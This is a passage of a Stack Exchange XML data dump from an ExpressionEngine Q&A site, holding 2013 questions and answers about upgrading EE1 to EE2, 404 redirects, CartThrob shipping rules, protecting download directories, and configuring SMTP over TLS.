  <row Id="5961" PostTypeId="1" CreationDate="2013-02-07T11:48:52.530" Score="1" ViewCount="191" Body="&lt;p&gt;I'm trying to get an EE1 site up to EE2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this I created a clone of the live site's files. Exported the SQL from the live database and populated a &quot;dev&quot; database with the data then updated paths and config settings accordingly. This created a working clone (I've done this many times with no problems).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to clarify;&#xA;I have a live site running from a database named &quot;clientname_live&quot;&#xA;I have a dev site running from a database named &quot;clientname_dev&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to get from 1.6.8 to 1.7.3 with no issues but trying to go from there up to 2.0.0 is throwing up problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site uses ngen file field, structure and gypsy. I have removed gypsy completely, converted any file fields to text inputs and run the Structure update script (which appeared to run fine and do its stuff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After uploading the necessary EE2 files and starting the update process I almost immediately hit the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1146&#xA;&#xA;Table 'clientname_live.exp_weblog_fields' doesn't exist&#xA;&#xA;SELECT field_id FROM exp_weblog_fields WHERE field_type = 'date'&#xA;&#xA;Filename: updates/ud_200.php&#xA;&#xA;Line Number: 1583&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly the problem is that the update script (maybe just at that point) is trying to do something to clientname_live. What I don't understand is where it's getting that information from. The config file points at clientname_dev and the site is definitely running from &lt;em&gt;that&lt;/em&gt; data base and not the live one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where could this database name be stored other than in the config file?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-08T16:07:05.680" Title="Upgrading EE1 to EE2 database name problem in update script" Tags="|ee2|ee1|config|upgrade|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5962" PostTypeId="1" AcceptedAnswerId="5972" CreationDate="2013-02-07T11:55:43.007" Score="0" ViewCount="467" Body="&lt;p&gt;I'm using this code for my 404 redirect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;about-us&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot; {gv_param_disable_default}}&#xA;        {if no_results || last_segment != url_title }&#xA;&#xA;        {redirect=&quot;404&quot;}&#xA;&#xA;        {/if}&#xA;&amp;lt;!--content here--&amp;gt;     &#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why wouldn't this work?  It seems to stop an additional segment from being added to the url, but if I just change the last segment to an invalid path, it just goes to the blank index template for that channel.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-02-08T16:36:09.743" Title="why would this 404 redirect not work?" Tags="|redirects|404|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5963" PostTypeId="1" AcceptedAnswerId="5980" CreationDate="2013-02-07T12:00:26.203" Score="0" ViewCount="318" Body="&lt;p&gt;I have created a module on my local installation which appears correctly in the Modules list. I can install and uninstall it without a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I upload it via FTP to the remote web server, it does not appear in the list of Modules. I uploaded it into the correct location (/system/expressionengine/third_party/) and the folder structure is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else come across this problem?&lt;/p&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-02-07T18:24:44.657" Title="Uploaded module not appearing in list" Tags="|add-on|module|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5964" PostTypeId="1" AcceptedAnswerId="5974" CreationDate="2013-02-07T12:04:32.173" Score="1" ViewCount="58" Body="&lt;p&gt;I need to grab a CSV version of one of my channel entries and upload it to an FTP server. I also need to grab some images, which are part of the channel entries, and rename them, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already created a template that renders the CSV I need. Now, I need to do all that FTP and image processing stuff. The process could be triggered by adding or editing a Channel entry -- or I could just run this via a cron at some set interval.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I deal with this process? Should I build some sort of addon? Or should I create a separate CI application? I'm actually not sure how to add another CI application to the current EE/CI setup.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-07T14:47:18.977" Title="Adding another CI application?" Tags="|add-on-development|codeigniter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5965" PostTypeId="1" AcceptedAnswerId="6297" CreationDate="2013-02-07T12:12:54.463" Score="4" ViewCount="1335" Body="&lt;p&gt;I have a link to an uploaded PDF in my template but some of links seem to output a mystery {filedir_3} instead of the path to the upload folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the following template code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if download_details}&amp;lt;a href=&quot;{download_details}&quot; target=&quot;_blank&quot;&amp;gt;Download details &amp;amp;raquo;&amp;lt;/a&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;outputs as...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{filedir_3}blahblah.pdf&quot; target=&quot;_blank&quot;&amp;gt;Download details »&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to be occurring on new files and older uploaded files don't seem to be effected. I had a look at the database and the exp_files table doesn't show any obvious different between working and broken links. I upgraded to EE 2.4.0 recently, could this be the issue? I'm not using MSM and the files aren't being uploaded through RTE or wygwam, just through a file channel field.&lt;/p&gt;&#xA;" OwnerUserId="961" LastEditorUserId="55" LastEditDate="2013-02-07T18:35:46.057" LastActivityDate="2015-01-26T21:05:35.280" Title="{filedir_X} tag not parsing in File field" Tags="|file-uploads|parsing|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5966" PostTypeId="2" ParentId="5959" CreationDate="2013-02-07T12:26:48.637" Score="4" Body="&lt;p&gt;Yes, that table is the only place extensions are registered (as long as the extension doesn't also include a &quot;Module&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can safely delete those rows. You could also just set &lt;code&gt;enabled&lt;/code&gt; to &lt;code&gt;n&lt;/code&gt; which will disable the extension.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-07T12:26:48.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5967" PostTypeId="2" ParentId="5956" CreationDate="2013-02-07T12:35:45.887" Score="1" Body="&lt;p&gt;I used this tutorial and it works just perfect:&#xA;&lt;a href=&quot;http://www.creat-ee.com/tutorials/more/migrating_your_ee_site_to_live_server&quot; rel=&quot;nofollow&quot;&gt;http://www.creat-ee.com/tutorials/more/migrating_your_ee_site_to_live_server&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2013-02-07T12:35:45.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5968" PostTypeId="2" ParentId="5946" CreationDate="2013-02-07T13:00:07.867" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to delay the parsing of an arbitrary group of tags until after template parsing has completed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;   {exp:channel:entries}&#xA;       ...&#xA;   {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, parse order issues generally arise when you need to pass values generated by one tag to another tag or position somewhere else in your template. Adopting the &lt;a href=&quot;http://johndwells.com/blog/homegrown-plugin-to-create-template-partials-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;template partials pattern&lt;/a&gt; can help you avoid these parse order problems in the first place.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-02-07T13:00:07.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5970" PostTypeId="2" ParentId="5906" CreationDate="2013-02-07T14:15:40.117" Score="1" Body="&lt;p&gt;For the email notifications, I suggest you checkout my add-on Postmaster. It's definitely the definitive solution for email with virtually any trigger. It's highly customizable and completely extendible using the open API's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.objectivehtml.com/articles/read/postmaster-v1.2&quot; rel=&quot;nofollow&quot;&gt;https://www.objectivehtml.com/articles/read/postmaster-v1.2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any questions. I use Postmaster with virtually every EE instal and has proved to be a huge resource to me any my clients. v1.3 is on the way with even more powerful notication features.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-02-07T14:15:40.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5971" PostTypeId="2" ParentId="5956" CreationDate="2013-02-07T14:22:00.567" Score="13" Body="&lt;p&gt;I'm going to address this part:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am fairly new to EE so any help is much appreciated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think you'll find that many of the developers here are currently using a workflow that incorporates version control, typically Git via &lt;a href=&quot;http://www.github.com&quot;&gt;Github&lt;/a&gt; or another service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases, our workflow looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;We start development on a local computer, with our database and site files there. As mentioned in another response, we use &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot;&gt;FocusLab's approach&lt;/a&gt; to config files to keep the site portable: Providing the database variables are updated or kept the same, we should be able to move things around without impact.&lt;/li&gt;&#xA;&lt;li&gt;When client review starts, we set up a Staging subdomain on one of our servers: Something like clientname.clearbold.com. We set up a database on that server with the same name &amp;amp; username/password as we had in dev, so no changes to the database config are needed. This sounds like the dev site on your live server.&lt;/li&gt;&#xA;&lt;li&gt;We'll dump a copy of the database in dev into a directory in our version-controlled project directory, and push it to our git repository. We use a deployment tool (&lt;a href=&quot;http://beanstalkapp.com/&quot;&gt;Beanstalk&lt;/a&gt; or &lt;a href=&quot;http://www.deployhq.com/&quot;&gt;DeployHQ&lt;/a&gt; are good options) to (S)FTP all the files to the server. You can also log into your git repo on the server and pull down the files.&lt;/li&gt;&#xA;&lt;li&gt;We then import the database on Staging, and the site's running.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, once we get to the point where the client is making edits, whether to Staging if we're pre-launch or on Production if we've launched, that database is now the master. Any time we do development, we log onto the server the client is using, do a database dump, and copy that down to our dev machines. We import that locally to work with the latest content/data, and we include that dump file in our git repo so that all developers can get it. If the Production site is the master, we may want to update Staging with that dump so we can demo some new features there. This is really important. For us, the database is always a one-way update. We add new fields or install new add-ons in the master database, and then copy it down to dev to start working with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, I'd recommend:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Updating your config to use the FocusLab approach, so that you can copy your files into the live site directory without changing paths. This will also enable you to copy the site locally in the future to test updates/upgrades, develop new features, etc.&lt;/li&gt;&#xA;&lt;li&gt;It's fine to keep your current &quot;dev&quot; (more accurately, Staging, because the client can see it) site pointing to the same database. Since I've advocated always making modifications in the master database first, there's no need to copy from Production to Staging. Just be careful if you're testing new features via your Staging site.&lt;/li&gt;&#xA;&lt;li&gt;Be sure to make backups of your db before making any changes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Virtual Servers, whether running Plesk like MediaTemple's DV or barebones like their VE, or any of EngineHosting's offerings, etc should let you enable and log in with SSH. I highly recommend getting the hang of this. Running mysqldump and mysql import from the command line are much, much more efficient than using PHPMyAdmin. (We run Rackspace Cloud and A Small Orange servers currently.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually did a video of this workflow, using git and moving database dumps around, a while back:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://s3.amazonaws.com/clearbold-content/EE-git-screencast.mp4&quot;&gt;https://s3.amazonaws.com/clearbold-content/EE-git-screencast.mp4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-07T14:22:00.567" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5972" PostTypeId="2" ParentId="5962" CreationDate="2013-02-07T14:26:12.860" Score="2" Body="&lt;p&gt;The only thing you normally need for 404 with a require_entry=&quot;yes&quot; and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html#strict-url-label&quot; rel=&quot;nofollow&quot;&gt;strict urls&lt;/a&gt; enabled is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}{redirect=&quot;404&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you just try this on a clean template? As others have said, a broader context could help debugging this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: if, as per your comment, you know you should only have two segments, then simply modify the code as follow to redirect to 404 if more segments are added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results OR segment_3 != &quot;&quot;}{redirect=&quot;404&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot; rel=&quot;nofollow&quot;&gt;this little blogpost on 404 pages in ExpressionEngine&lt;/a&gt; for more detailed information.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-08T16:36:09.743" LastActivityDate="2013-02-08T16:36:09.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5973" PostTypeId="1" AcceptedAnswerId="6022" CreationDate="2013-02-07T14:36:42.790" Score="2" ViewCount="251" Body="&lt;p&gt;Under my basket page (based on the sample 'checkout.html) I want to suggest any accessories that might be associated with the products in the basket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried two ways to achieve this, neither is really working for me at the moment. My first attempt was to use PHP to capture the {entry_id} of each item in the first loop and then use that below. Problem I encountered is that I need PHP to be rendered both on InPut and Output on the template (one to capture the id's, the other to make using them possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second attempt is just to have a second {items} loop under the first. Within this loop I try to get the exp:channel:entries with the {entry_id} of each item then within the exp:channel:entries loop get the related_entries (there are 4).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This logic seems sound to me, but I am new to expression engine and store so I am sure I am missing something obvious! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below, any help you can offer is very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Suggested Accessories / Related Products&amp;lt;/h2&amp;gt;&#xA;&#xA;{items}&#xA;    {exp:channel:entries limit=&quot;1&quot; dynamic=&quot;off&quot; entry_id=&quot;{entry_id}&quot; }&#xA;        {related_entries id=&quot;related_product_1&quot;}&#xA;            A {title} - {entry_id}&#xA;        {/related_entries}&amp;lt;br/&amp;gt;&#xA;        {related_entries id=&quot;related_product_2&quot;}&#xA;            B {title} - {entry_id}&#xA;        {/related_entries}&amp;lt;br/&amp;gt;&#xA;        {related_entries id=&quot;related_product_3&quot;}&#xA;            C {title} - {entry_id}&#xA;        {/related_entries}&amp;lt;br/&amp;gt;&#xA;        {related_entries id=&quot;related_product_4&quot;}&#xA;            D {title} - {entry_id}&#xA;        {/related_entries}&#xA;&#xA;    {/exp:channel:entries}  &#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2013-02-07T14:45:51.697" LastActivityDate="2013-02-08T01:21:23.410" Title="Expresso Store - Related entries within {items} loop" Tags="|expresso-store|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5974" PostTypeId="2" ParentId="5964" CreationDate="2013-02-07T14:47:18.977" Score="2" Body="&lt;p&gt;IMO, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;creating an extension&lt;/a&gt; would be the right way to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hook to be used will be entry_submission_end, the extension setting should contain remote host, post, path - and template name or URL of file to upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/libraries/ftp.html&quot; rel=&quot;nofollow&quot;&gt;CI FTP library&lt;/a&gt; in your add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick search does not find anything that would do even something similar - so the whole community would benefit if you develop it and make public :)&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-07T14:47:18.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5975" PostTypeId="1" AcceptedAnswerId="5979" CreationDate="2013-02-07T14:49:46.863" Score="0" ViewCount="105" Body="&lt;p&gt;I am having some difficulty understanding why I can't get some shipping rules to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the 'By Location - Price Threshold' shipping set in Cartthrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked and the country code is being saved in the correct field etc, so I am guessing its something to with how I have set out my shipping rules. I have looked on the CT website, but the documentary doesnt particular explain how the correct layout should be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached the image below. Is say 10-20 the correct way to enter thresholds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jDNu9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shipping rules I need are for Great Britain, and the rest of the world. GLOBAL covers everything as far as I know in CT. I then want to have different shipping costs dependant on the price. So if the price is between 0-10 and the users shipping country code is GBR £1.20. if between 10-25 £2.50 etc&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2013-02-07T15:51:03.727" LastActivityDate="2013-02-07T15:54:26.107" Title="Carthrob's Shipping Rules" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5976" PostTypeId="2" ParentId="5961" CreationDate="2013-02-07T15:05:19.360" Score="0" Body="&lt;p&gt;Look at line 1583 in the upgrade file. It'll tell you exactly what's trying to be done and where the name is coming from. Track backwards from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DB settings are only stored in the config file. However, could be something in a template or addon. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-07T15:05:19.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5977" PostTypeId="2" ParentId="5961" CreationDate="2013-02-07T15:36:39.203" Score="1" Body="&lt;p&gt;Do you have a &lt;strong&gt;exp_layout_publish&lt;/strong&gt; table in the database now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a thought as before that error (line 1583) there are a few tables created and if these are being created then there is definitely something rather strange going on there as why would it be able to find the database and create those tables but then throw a wobbly later on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you clear all caches on the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least where is your dev site hosted? Is this on a local machine or on the same server as the live site? You're definitely trying to update the correct site aren't you? ;-)&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2013-02-07T15:36:39.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5978" PostTypeId="1" AcceptedAnswerId="6086" CreationDate="2013-02-07T15:46:17.103" Score="8" ViewCount="2330" Body="&lt;p&gt;I looked everywhere and i cant seem to find anyone talking about how they have done it... im sure i could write something custom to do it but wanted to see if anyone else out there had already solved the problem?&lt;/p&gt;&#xA;" OwnerUserId="727" LastEditorUserId="150" LastEditDate="2013-02-09T08:36:29.020" LastActivityDate="2014-11-19T07:50:59.927" Title="How to implement AJAX &quot;add to cart&quot; with Expresso Store?" Tags="|expresso-store|ajax|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5979" PostTypeId="2" ParentId="5975" CreationDate="2013-02-07T15:54:26.107" Score="1" Body="&lt;p&gt;No. You'll see in the column description above that a threshold of 0-10 is entered as simply &quot;10&quot;. Basically the way they have it set up is that thresholds are articulated by the maximum value applicable, and i believe the threshold logic loops through the items you have setup looking for the one that applies. So if you set up thresholds of 10, 20 and 30, it automatically treats them as 0-10.00, 10.01-20.00, and 20.01-30.00 respectively.  What it does mean, of course, is that they can't overlap, because then the logic check would return more than one applicable rule, and I don't know how it would react to that.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-07T15:54:26.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5980" PostTypeId="2" ParentId="5963" CreationDate="2013-02-07T16:05:34.510" Score="1" Body="&lt;p&gt;As unlikely as it sounds, if you're sure the the location is correct I'd try checking permissions. I've run across a few times where either the directories or the add-on files themselves were not set to be readable at all and therefore EE didn't recognize they were there. &lt;/p&gt;&#xA;" OwnerUserId="87" LastActivityDate="2013-02-07T16:05:34.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5982" PostTypeId="1" AcceptedAnswerId="6007" CreationDate="2013-02-07T16:34:29.567" Score="2" ViewCount="376" Body="&lt;p&gt;First time setting up a digital purchases online and would like some pointers/tips on how to protect the directory where all the digital items are stored so someone can't access the file directly like: &lt;code&gt;http://domain.com/some/digital/file.zip&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using CartThrob, so I will either use the &lt;code&gt;get_download_link&lt;/code&gt; or &lt;code&gt;download_file_form&lt;/code&gt; tags which will handle link protection &amp;amp; obfuscation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to make sure I have all my ducks in a row. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I have directory browsing turned off with &lt;code&gt;.htaccess&lt;/code&gt; rules, so this fixes listing any files. I saw a couple solutions with adding rules to the directory, but wasn't sure if this would allow CT tags to access the file since I can't access it over the browser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Order Deny, Allow&#xA;Deny from all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-02-07T16:58:07.780" LastActivityDate="2014-11-13T17:47:26.067" Title="How to protect a digital directory but allow downloads?" Tags="|cartthrob|htaccess|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5983" PostTypeId="1" AcceptedAnswerId="6028" CreationDate="2013-02-07T16:35:11.330" Score="0" ViewCount="105" Body="&lt;p&gt;I have an EE 2.5.3 build with Field Editor 1.0.3 and Matrix 2.5.2 installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to configure the Matrix field from the field list, it looks like it's loading but then craps out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this from the console on load initially &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Object #&amp;lt;Object&amp;gt; has no method 'rowCallback'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when I click to configure the Matrix field I get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: MatrixConf is not defined&#xA;Uncaught ReferenceError: Matrix is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works fine when I'm in the default channel fields view and not Field Editor.  &lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-02-08T09:39:43.727" Title="field editor with Matrix" Tags="|matrix|field-group|field-editor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5984" PostTypeId="1" AcceptedAnswerId="6002" CreationDate="2013-02-07T16:44:13.213" Score="3" ViewCount="348" Body="&lt;p&gt;A component of a site I am building has changed and as a result I need to move the entries over to a new template. It looks like this template data is stored in exp_sites &gt; site_pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you approach this? Not looking to manually update 300+ entries.&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-02-07T19:32:36.807" Title="Need to move several hundred Structure entries to a new template/template_id" Tags="|database|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5985" PostTypeId="2" ParentId="5982" CreationDate="2013-02-07T16:48:35.847" Score="0" Body="&lt;p&gt;If you've obfuscated your links using CartThrob's tags, I typically just include a blank &lt;code&gt;index.html&lt;/code&gt; file in any files/assets directories, as seems to be the EE convention. Then that's displayed instead of a directory index.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-02-07T16:48:35.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5986" PostTypeId="1" AcceptedAnswerId="6006" CreationDate="2013-02-07T17:15:48.637" Score="3" ViewCount="4453" Body="&lt;p&gt;Typically I'm able to use PHP Mail on sites I develop but this client has an Exchange Server that requires SMTP over TSL. Since Freeform Pro uses the Email module in EE, my contact form needs to work with SMTP over TSL as well. I should note that PHP Mail works fine, it just won't send an admin notify to anyone with the client's email address domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original attempt at changing the email configuration to SMTP resulted in a string of errors based on this line in the CI email library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: fsockopen() [function.fsockopen]: unable to connect to xxxxxxxx.xxxxxxx.com:25 (Connection refused)&#xA;Filename: libraries/Email.php&#xA;Line Number: 1675&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a little poking around I ran across the SMTP port settings in the email.php library and changed it to 587. I also put the following in my config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* SMTP mail settings&#xA;-------------------------------------------------------------------*/&#xA;// $config['protocol'] = &quot;smtp&quot;;&#xA;$config['smtp_server'] = &quot;xxxxxxxx.xxxxxxx.com&quot;;&#xA;$config['smtp_username'] = &quot;xxxxxxx@xxxxxxxxx.xxx&quot;;&#xA;$config['smtp_password'] = &quot;xxxxxxxxx&quot;;&#xA;$config['email_smtp_port'] = &quot;587&quot;;&#xA;$config['smtp_timeout'] = 5;&#xA;$config['smtp_crypto'] = &quot;tls&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config['protocol'] = &quot;smtp&quot;;&lt;/code&gt; is from the email.php library file in CI but it doesn't change the dropdown value in EE which is why it's commented out. &lt;code&gt;$config['email_smtp_port'] = &quot;587&quot;;&lt;/code&gt; is specified in the hidden config variables in the EE Docs though CI uses &lt;code&gt;$config['smtp_port'] = &quot;587&quot;;&lt;/code&gt;. I tried both with no visible changes in the results. I discovered &lt;code&gt;$config['smtp_crypto'] = &quot;tls&quot;;&lt;/code&gt; in the &lt;a href=&quot;http://ellislab.com/forums/viewthread/158882&quot; rel=&quot;nofollow noreferrer&quot;&gt;EL Forums&lt;/a&gt;. Not sure if this works or not because I couldn't find any reference to this config variable anywhere else nor was it in the email.php library file in CI (I actually couldn't find any mention of TLS in the email library actually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After setting all of this I no longer get the errors but the form page just hangs and won't return the thank you page specified in my freeform tags. The form is submitted to Freeform but no user or admin notification emails are sent out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per this &lt;a href=&quot;http://ellislab.com/forums/viewthread/169641/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EL Forum thread&lt;/a&gt; I checked to ensure OpenSSL is enabled; it is, from PHP Info &lt;code&gt;OpenSSL support: enabled&lt;/code&gt;. Per this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5208/why-do-i-get-this-email-error&quot;&gt;EESE thread&lt;/a&gt; I checked to see if sockets were enabled; they were, from PHP info &lt;code&gt;Registered Stream Socket Transports: tcp, udp, unix, udg, ssl, sslv3, sslv2, tls&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions? Thoughts as to why this might not be working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I've marked @nonprofittech's answer as the correct one because it got me 99% of the way there by using Mandrill. There are a few other services as well that would probably work just as well but I trust MailChimp. If you run across &lt;a href=&quot;http://eeinsider.com/articles/how-to-connect-expressionengine-to-a-third-party-email-delivery-service/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this handy article on EE Insider&lt;/a&gt;, there seems to be one setting that is different than what's in the screenshot. Mandrill provides a username so use this an not the API key. One other thing I had to do is add &lt;code&gt;$config['email_smtp_port'] = 